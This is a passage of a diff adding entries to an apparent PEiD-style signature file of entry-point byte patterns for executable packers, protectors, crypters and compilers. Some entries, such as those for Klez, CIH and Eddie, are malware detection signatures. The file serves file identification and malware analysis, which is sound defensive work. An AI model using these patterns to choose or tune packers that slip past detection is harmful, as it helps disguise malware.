[VBOX 4.3 MTE] --> Anorganix] +signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 +ep_only = true + +[PseudoSigner 0.2 [VOB ProtectCD 5] --> Anorganix] +signature = 36 3E 26 8A C0 60 E8 00 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [WATCOM C/C++ EXE] --> Anorganix] +signature = E9 00 00 00 00 90 90 90 90 57 41 +ep_only = true + +[PseudoSigner 0.2 [XCR 0.11] --> Anorganix] +signature = 60 8B F0 33 DB 83 C3 01 83 C0 01 +ep_only = true + +[PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix] +signature = E8 03 00 00 00 EB 01 90 90 +ep_only = true + +[PUNiSHER V1.5 Demo-> FEUERRADER] +signature = EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 +ep_only = true + +[RAZOR 1911 encruptor] +signature = E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC +ep_only = true + +[RCryptor v1.3 / v1.4 --> Vaska] +signature = 55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[RCryptor v1.3b --> Vaska] +signature = 61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[RCryptor v1.5 (Private) --> Vaska] +signature = 83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[RCryptor v1.6 -> Vaska] +signature = 33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[RCryptor v1.6b / v1.6c --> Vaska] +signature = 8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[RCryptor v1.6d --> Vaska] +signature = 60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[REALbasic] +signature = 55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 +ep_only = true + +[REC v0.32] +signature = 06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D +ep_only = true + +[REC v0.34 [3]] +signature = 06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB +ep_only = true + +[REC, C0ded by ROSE] +signature = 06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB +ep_only = true + +[REC.Small v1.02] +signature = 8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83 +ep_only = true + +[ReversingLabsProtector 0.7.4 beta -> Ap0x] +signature = 68 00 00 41 00 E8 01 00 00 00 C3 C3 +ep_only = true + +[RLP V0.7.3.beta -> ap0x] +signature = 2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 +ep_only = false + +[RLPack Full Edition 1.17 -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF +ep_only = true + +[RLPack Full Edition 1.17 DLL -> Ap0x] +signature = 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 +ep_only = true + +[RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB +ep_only = true + +[ROD High TECH -> Ayman] +signature = 60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00 +ep_only = true + +[SCAN /AV] +signature = 1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72 +ep_only = true + +[SEA-AXE] +signature = FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3 +ep_only = true + +[SEA-AXE v2.2] +signature = FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5 +ep_only = true + +[SecureEXE 3.0 -> ZipWorx] +signature = E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 +ep_only = true + +[SEN Debug Protector???] +signature = BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8 +ep_only = true + +[Shrink v1.0] +signature = 50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3 +ep_only = true + +[Shrink Wrap v1.4] +signature = 58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB +ep_only = true + +[Shrinker v3.3] +signature = 83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8 +ep_only = true + +[Simple UPX Cryptor V30.4.2005 -> MANtiCORE] +signature = 60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3 +ep_only = true + +[Simple UPX Cryptor v30.4.2005 [multi layer encryption] --> MANtiCORE] +signature = 60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3 +ep_only = true + +[SimplePack V1.1X-V1.2X (Method2) -> bagie] +signature = 4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 +ep_only = true + +[SLR (OPTLINK)] +signature = BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21 +ep_only = true + +[SLR (OPTLINK) (1)] +signature = 87 C0 EB ?? 71 ?? 02 D8 +ep_only = true + +[SLVc0deProtector 1.1x -> SLV / ICU] +signature = E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00 +ep_only = true + +[SLVc0deProtector v1.1 -> SLV (h)] +signature = E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C +ep_only = true + +[SmokesCrypt v1.2] +signature = 60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1 +ep_only = true + +[Soft Defender v1.1x -> Randy Li] +signature = 74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D +ep_only = true + +[SoftSentry v2.11] +signature = 55 8B EC 83 EC ?? 53 56 57 E9 50 +ep_only = true + +[SoftSentry v3.0] +signature = 55 8B EC 83 EC ?? 53 56 57 E9 B0 06 +ep_only = true + +[SoftWrap] +signature = 52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F +ep_only = true + +[Spalsher 1.0 - 3.0 -> Amok] +signature = 9C 60 8B 44 24 24 E8 00 00 00 00 +ep_only = true + +[Spalsher v1.0 - v3.0] +signature = 9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84 +ep_only = true + +[SPEC b2] +signature = 55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6 +ep_only = true + +[StarForce Protection Driver -> Protection Technology] +signature = 57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 +ep_only = true + +[StarForce V3.X -> StarForce Copy Protection System] +signature = 68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00 +ep_only = true + +[StarForce V3.X DLL -> StarForce Copy Protection System] +signature = E8 ?? ?? ?? ?? 00 00 00 00 00 00 +ep_only = true + +[Stealth PE v1.1] +signature = BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2 +ep_only = true + +[STNPEE 1.13] +signature = 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00 +ep_only = true + +[Stone`s PE Encruptor v1.13] +signature = 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 +ep_only = true + +[Stony Brook Pascal v6.14] +signature = 31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A +ep_only = true + +[Stony Brook Pascal+ v7.0] +signature = 31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC +ep_only = true + +[Stranik 1.3 Modula/C/Pascal] +signature = E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[SuckStop v1.11] +signature = EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B +ep_only = true + +[SVK-Protector v1.11] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23 +ep_only = true + +[Symantec Visual Cafe v3.0] +signature = 64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC +ep_only = true + +[T-PACK v0.5c -m1] +signature = 68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE +ep_only = true + +[T-PACK v0.5c -m2] +signature = 68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD +ep_only = true + +[TASM / MASM] +signature = 6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 +ep_only = true + +[tElock 0.99 - 1.0 private -> tE!] +signature = E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 +ep_only = true + +[tElock v0.60] +signature = E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 +ep_only = true + +[tElock v0.70] +signature = 60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70 +ep_only = true + +[tElock v0.71] +signature = 60 E8 ED 10 00 00 C3 83 +ep_only = true + +[tElock v0.71b2] +signature = 60 E8 44 11 00 00 C3 83 +ep_only = true + +[tElock v0.71b7] +signature = 60 E8 48 11 00 00 C3 83 +ep_only = true + +[tElock v0.80] +signature = 60 E8 F9 11 00 00 C3 83 +ep_only = true + +[tElock v0.85f] +signature = 60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02 +ep_only = true + +[tElock v0.90] +signature = ?? ?? E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B +ep_only = true + +[tElock v0.98] +signature = E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E +ep_only = true + +[Thinstall vx.x] +signature = B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF +ep_only = true + +[TopSpeed v3.01 1989] +signature = 1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53 +ep_only = true + +[Turbo C] +signature = BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8 +ep_only = true + +[Turbo C 1987 or Borland C++ 1991] +signature = FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 +ep_only = true + +[Turbo C 1988] +signature = 8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC +ep_only = true + +[Turbo C 1990 or Turbo C 1988] +signature = BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA +ep_only = true + +[Turbo C++ 3.0 1990] +signature = 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06 +ep_only = true + +[Turbo or Borland Pascal v7.0] +signature = 9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68 +ep_only = true + +[Turbo Pascal v2.0 1984] +signature = ?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34 +ep_only = true + +[Turbo Pascal v3.0 1985] +signature = ?? ?? ?? 90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35 +ep_only = true + +[TurboBAT v3.10 .. 5.0] +signature = BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 +ep_only = true + +[TurboBAT v3.10 .. 5.0 (Patched)] +signature = 90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90 +ep_only = true + +[TXT2COM (Read-A-Matic v1.0)] +signature = B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21 +ep_only = true + +[UG2002 Cruncher v0.3b3] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58 +ep_only = true + +[Unknown by SMT] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB +ep_only = true + +[Unknown encryptor (2) - "PK7Tjrvx"] +signature = 06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8 +ep_only = true + +[Unknown packer (01)] +signature = EB ?? ?? BE ?? ?? BF ?? ?? 2E +ep_only = true + +[Unknown packer (02)] +signature = FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB +ep_only = true + +[Unknown packer (03)] +signature = 06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C +ep_only = true + +[Unknown packer (04)] +signature = BC ?? ?? C3 2E FF 2E ?? ?? CF +ep_only = true + +[Unknown packer (06)] +signature = FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC +ep_only = true + +[Unknown packer (07)] +signature = 8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83 +ep_only = true + +[Unknown Protected Mode compiler (1)] +signature = FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1 +ep_only = true + +[Unknown Protected Mode compiler (2)] +signature = FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3 +ep_only = true + +[Upack v0.10 - v0.12Beta -> Sign by hot_UNP] +signature = BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0 +ep_only = true + +[Upack V0.1X-V0.2X -> Dwing] +signature = BE 88 01 ?? ?? AD 8B F8 95 +ep_only = true + +[Upack v0.21Beta -> Sign by hot_UNP] +signature = BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33 +ep_only = true + +[Upack v0.22 ~ v0.23Beta -> Sign by hot_UNP] +signature = 6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 +ep_only = true + +[Upack v0.24 ~ v0.28alpha -> Sign by hot_UNP] +signature = BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD +ep_only = true + +[Upack v0.29 beta -> Dwing] +signature = E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29 +ep_only = true + +[Upack v0.2Beta] +signature = BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33 +ep_only = true + +[Upack v0.30 beta -> Dwing] +signature = E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30 +ep_only = true + +[Upack v0.31 beta -> Dwing] +signature = E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31 +ep_only = true + +[Upack v0.32 beta -> Dwing] +signature = E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 +ep_only = true + +[Upack v0.33 ~ v0.34 Beta -> Sign by hot_UNP] +signature = ?? ?? ?? ?? 59 F3 A5 83 C8 FF 8B DF AB 40 AB 40 +ep_only = true + +[Upack V0.36 -> Dwing] +signature = BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00 +ep_only = true + +[Upack V0.37-V0.39 -> Dwing] +signature = BE ?? ?? ?? ?? AD 50 FF ?? ?? EB +ep_only = true + +[Upack v0.39 final -> Sign by hot_UNP] +signature = 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 +ep_only = false + +[Upack v0.39 final -> Sign by hot_UNP] +signature = FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF +ep_only = false + +[Upack V0.3X -> Dwing] +signature = 60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E +ep_only = true + +[Upack_Patch -> Sign by hot_UNP] +signature = 81 3A 00 00 00 02 00 00 00 00 +ep_only = true + +[Upack_Patch or any Version -> Sign by hot_UNP] +signature = 60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 +ep_only = true + +[Upack_Unknown (DLL ???) -> Sign by hot_UNP] +signature = 60 E8 09 00 00 00 17 CD 00 00 E9 06 02 +ep_only = true + +[UPX 0.50 - 0.70] +signature = 60 E8 00 00 00 00 58 83 E8 3D +ep_only = true + +[UPX 0.72] +signature = 60 E8 00 00 00 00 83 CD FF 31 DB 5E +ep_only = true + +[UPX Modifier v0.1x] +signature = 50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD +ep_only = true + +[UPX Protector v1.0x] +signature = EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 +ep_only = true + +[UPX Protector v1.0x (2)] +signature = EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB +ep_only = false + +[UPX v0.62] +signature = 60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB +ep_only = true + +[UPX v0.62 [DLL]] +signature = 80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58 +ep_only = true + +[UPX v0.70] +signature = 8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73 +ep_only = true + +[UPX v0.70] +signature = 60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB +ep_only = true + +[UPX v0.71 [DLL]] +signature = 80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83 +ep_only = true + +[UPX v0.72] +signature = 60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB +ep_only = true + +[UPX v0.76.1 [dos exe]] +signature = B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC +ep_only = true + +[UPX v0.76.1 [pe exe]] +signature = 60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB +ep_only = true + +[UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL] +signature = 80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF +ep_only = true + +[UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B +ep_only = true + +[UPX [com]] +signature = B9 ?? ?? BE ?? ?? BF C0 FF FD +ep_only = true + +[UPX$HiT v0.0.1] +signature = 94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61 +ep_only = false + +[Upx-Lock 1.0 - 1.2 --> CyberDoom / Team-X & BoB / BobSoft] +signature = 60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61 +ep_only = true + +[UPX-Scrambler RC v1.x] +signature = 90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF +ep_only = true + +[UPXFreak V0.1 -> HMX0101] +signature = BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 +ep_only = true + +[UPXLock v1.0 -> CyberDoom] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00 +ep_only = true + +[USERNAME v3.00] +signature = FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6 +ep_only = true + +[VBOX v4.2 MTE] +signature = 8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5 +ep_only = true + +[VBOX v4.3 - v4.6] +signature = ?? ?? ?? ?? 90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40 +ep_only = false + +[Vcasm Protector V1.X -> vcasm] +signature = EB ?? 5B 56 50 72 6F 74 65 63 74 5D +ep_only = true + +[Vcasm-Protector 1.0e -> vcasm] +signature = EB 0A 5B 56 50 72 6F 74 65 63 74 5D +ep_only = true + +[Vcasm-Protector 1.1 - 1.2 -> vcasm] +signature = EB 0B 5B 56 50 72 6F 74 65 63 74 5D +ep_only = true + +[vfp&exeNc V5.00 -> Wang JianGuo] +signature = 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC +ep_only = true + +[Video-Lan-Client] +signature = 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF +ep_only = true + +[Virogen Crypt v0.75] +signature = 9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01 +ep_only = true + +[Virogen`s PE Shrinker v0.14] +signature = 9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74 +ep_only = true + +[VIRUS - I-Worm.KLEZ] +signature = 55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0 +ep_only = false + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B +ep_only = true + +[VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 +ep_only = true + +[VMProtect V1.X -> PolyTech] +signature = 9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8 +ep_only = false + +[VOB ProtectCD] +signature = 5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F +ep_only = true + +[Vterminal V1.0X -> Lei Peng] +signature = E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00 +ep_only = true + +[Vx: Caz.1204] +signature = E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10 +ep_only = true + +[Vx: CIH Version 1.2 TTIT (! WIN95CIH !)] +signature = 55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D +ep_only = true + +[Vx: Compiler] +signature = 8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E +ep_only = true + +[Vx: Danish tiny] +signature = 33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21 +ep_only = true + +[Vx: Eddie.2100] +signature = E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC +ep_only = true + +[Vx: Eddie.based.1745] +signature = E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8 +ep_only = true + +[Vx: Explosion.1000] +signature = E8 ?? ?? 5E 1E 06 50 81 